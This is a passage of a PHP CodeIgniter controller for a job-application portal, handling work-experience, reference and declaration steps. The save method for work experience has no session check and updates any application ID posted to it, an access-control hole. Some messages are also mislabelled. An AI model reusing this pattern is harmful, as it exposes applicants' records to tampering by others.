            $viewData["app_details"] = $this->ApplicationManagement->getUserApplicationDeatilsID($userData["user_id"])->result()[0];
            $viewData["firstStep"] = $this->DashboardManagement->getStepsDetails(1)->result()[0]; //compulsaory in all steps
            $this->load->view("user/workExperienceAndReference", $viewData);
        } else {
            redirect("Home");
        }
    }

    public function saveWorkExperienceAndReference() {
        $industry = $this->input->post("industry");
        $academic = $this->input->post("academic");
        $emp1 = $this->input->post("emp1");
        $loc1 = $this->input->post("loc1");
        $desig1 = $this->input->post("desig1");
        $duration1 = $this->input->post("duration1");
        $emp2 = $this->input->post("emp2");
        $loc2 = $this->input->post("loc2");
        $desig2 = $this->input->post("desig2");
        $duration2 = $this->input->post("duration2");
        $ref1 = $this->input->post("ref1");
        $ref2 = $this->input->post("ref2");
        if (($industry == null || $industry == 0) && ($academic == null || $academic == 0) && ($emp1 == null || $emp1 == "") && ($loc1 == null || $loc1 == "") && ($desig1 == null || $desig1 == "") && ($duration1 == null || $duration1 == "") && ($ref1 == null || $ref1 == "") && ($emp2 == null || $emp2 == "") && ($loc2 == null || $loc2 == "") && ($desig2 == null || $desig2 == "") && ($duration2 == null || $duration2 == "") && ($ref2 == null || $ref2 == "")) {
            redirect("user/Dashboard");
        } else {
            $applicationData = array(
                "industry" => ($industry == null || $industry == "") ? 0 : $industry,
                "academic" => ($academic == null || $academic == "") ? 0 : $academic,
                "emp1" => ($emp1 == null || $emp1 == "") ? "" : $emp1,
                "loc1" => ($loc1 == null || $loc1 == "") ? "" : $loc1,
                "desig1" => ($desig1 == null || $desig1 == "") ? "" : $desig1,
                "duration1" => ($duration1 == null || $duration1 == "") ? "" : $duration1,
                "ref1" => ($ref1 == null || $ref1 == "") ? "" : $ref1,
                "emp2" => ($emp2 == null || $emp2 == "") ? "" : $emp2,
                "loc2" => ($loc2 == null || $loc2 == "") ? "" : $loc2,
                "desig2" => ($desig2 == null || $desig2 == "") ? "" : $desig2,
                "duration2" => ($duration2 == null || $duration2 == "") ? "" : $duration2,
                "ref2" => ($ref2 == null || $ref2 == "") ? "" : $ref2,
                "step5" => "T"
            );
            //print_r($applicationData);
            $this->db->trans_start();
            $this->ApplicationManagement->upudateApplicationDetails($applicationData, $this->input->post("app_details_id"));
            $this->db->trans_complete();
            if ($this->db->trans_status() !== false) {
                $this->session->set_flashdata("successMessage", "Work Experience And Reference Data Updated Successfully.");
                redirect("user/Dashboard");
            } else {
                $this->session->set_flashdata("successMessage", "Failed To Update Work Experience And Reference Data.");
                redirect("user/Application/workExperienceAndReference");
            }
        }
    }

    public function declaration() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $userData = $this->session->userdata("userData");
            $current_application_id = $this->session->userdata("application_id");
            $viewData["sixthStep"] = $this->DashboardManagement->getStepsDetails(6)->result()[0];
            $viewData["app_details"] = $this->ApplicationManagement->getUserApplicationDeatilsID($userData["user_id"])->result()[0];
            $viewData["firstStep"] = $this->DashboardManagement->getStepsDetails(1)->result()[0]; //compulsaory in all steps
            $viewData["appliedVacancyInfos"] = $this->ApplicationManagement->getApplicationsByApplicationDispIDForDeclaration($current_application_id)->result();
            $this->load->view("user/declaration", $viewData);
        } else {
            redirect("Home");
        }
    }

    public function saveDeclaration() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $this->form_validation->set_rules("declare", "declare", "required", array("required" => "Tick The Declaration Option To Submit Your Application."));

            if ($this->form_validation->run() == false) {
                $this->declaration();
            } else {
                $current_application_id = $this->session->userdata("application_id");
                $app_details_id = $this->input->post("app_details_id");
                $app_details = $this->ApplicationManagement->getUserApplicationDeatilsIDByApplicationID($app_details_id)->result()[0];
                $userData = $this->session->userdata("userData");
                if ($app_details->step1 == "T" && $app_details->step2 == "T" && $app_details->step3 == "T") {
                    $appliedVacancy = $this->ApplicationManagement->getCurrentlyActiveAppliedVacanies(date("Y-m-d"), $current_application_id)->result();
                    $applicationData = array(
                        "step6" => "T",
                        "regdt" => date("Y-m-d H:i:s")
                    );
                    $this->db->trans_start();
                    for ($i = 0; $i < sizeof($appliedVacancy); $i++) {
                        $this->ApplicationManagement->updateApplicationDeclaration(array("am_declaration" => "T"), $appliedVacancy[$i]->am_id);
                    }
                    $this->ApplicationManagement->upudateApplicationDetails($applicationData, $app_details_id);
                    $this->UserManagement->updateUser(array("current_application_id" => "", "um_id" => $userData["user_id"]));
                    $this->db->trans_complete();
                    if ($this->db->trans_status() !== false) {
                        $this->session->set_flashdata("successMessage", "Declaration Data Updated Successfully.");
                        redirect("user/Dashboard");
                    } else {
                        $this->session->set_flashdata("successMessage", "Failed To Update Declaration Data.");
                        redirect("user/Application/declaration");
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "Please Ensure That You Have Duely Filled The 1st Three Step's Forms As They Are Mandatory.");
                    redirect("user/Application/declaration");
                }
            }
        } else {
            redirect("Home");
        }
    }

}

KBHT - 2023